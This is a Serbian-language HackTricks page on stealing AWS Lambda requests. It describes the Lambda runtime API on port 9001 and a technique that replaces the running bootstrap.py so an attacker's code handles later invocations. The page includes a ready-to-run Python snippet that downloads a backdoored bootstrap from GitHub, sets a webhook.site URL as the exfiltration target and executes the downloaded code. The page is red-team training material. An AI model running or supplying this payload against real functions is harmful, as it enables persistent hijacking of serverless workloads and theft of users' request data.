AWS - Ukradi Lambda Zahteve
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Lambda Tok
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer je proces van kontejnera koji šalje invokacije ka init procesu.
- Init proces sluša na portu 9001 izlažući neke zanimljive krajnje tačke:
/2018-06-01/runtime/invocation/next
– dobiti sledeći događaj invokacije/2018-06-01/runtime/invocation/{invoke-id}/response
– vratiti odgovor handler-a za invokaciju/2018-06-01/runtime/invocation/{invoke-id}/error
– vratiti grešku u izvršenju
- bootstrap.py ima petlju koja dobija invokacije iz init procesa i poziva korisnički kod da ih obradi (
/next
). - Na kraju, bootstrap.py šalje init-u odgovor
Napomena da bootstrap učitava korisnički kod kao modul, tako da se svako izvršavanje koda koje obavlja korisnički kod zapravo dešava u ovom procesu.
Ukradanje Lambda Zahteva
Cilj ovog napada je da se korisnički kod izvrši kao zlonamerni bootstrap.py
proces unutar bootstrap.py
procesa koji obrađuje ranjivu zahtev. Na ovaj način, zlonamerni bootstrap proces će početi da komunicira sa init procesom kako bi obradio zahteve dok je legit bootstrap zarobljen u izvršavanju zlonamernog, tako da neće tražiti zahteve od init procesa.
Ovo je jednostavan zadatak za postizanje jer se kod korisnika izvršava od strane legit bootstrap.py
procesa. Tako da napadač može:
- Poslati lažni rezultat trenutne invokacije init procesu, tako da init misli da bootstrap proces čeka na više invokacija.
- Zahtev mora biti poslat na
/${invoke-id}/response
- Invoke-id se može dobiti iz steka legit
bootstrap.py
procesa koristeći inspect python modul (kao predloženo ovde) ili jednostavno ponovo zahtevati na/2018-06-01/runtime/invocation/next
(kao predloženo ovde). - Izvršiti zlonamerni
boostrap.py
koji će obraditi sledeće invokacije - Za svrhe prikrivanja moguće je poslati parametre lambda invokacija na C2 kontrolisan od strane napadača i zatim obraditi zahteve kao i obično.
- Za ovaj napad, dovoljno je dobiti originalni kod
bootstrap.py
sa sistema ili github, dodati zlonamerni kod i pokrenuti ga iz trenutne lambda invokacije.
Koraci Napada
- Pronaći RCE ranjivost.
- Generisati zlonamerni bootstrap (npr. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- Izvršiti zlonamerni bootstrap.
Možete lako izvršiti ove radnje pokretanjem:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Za više informacija proverite https://github.com/carlospolop/lambda_bootstrap_switcher
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.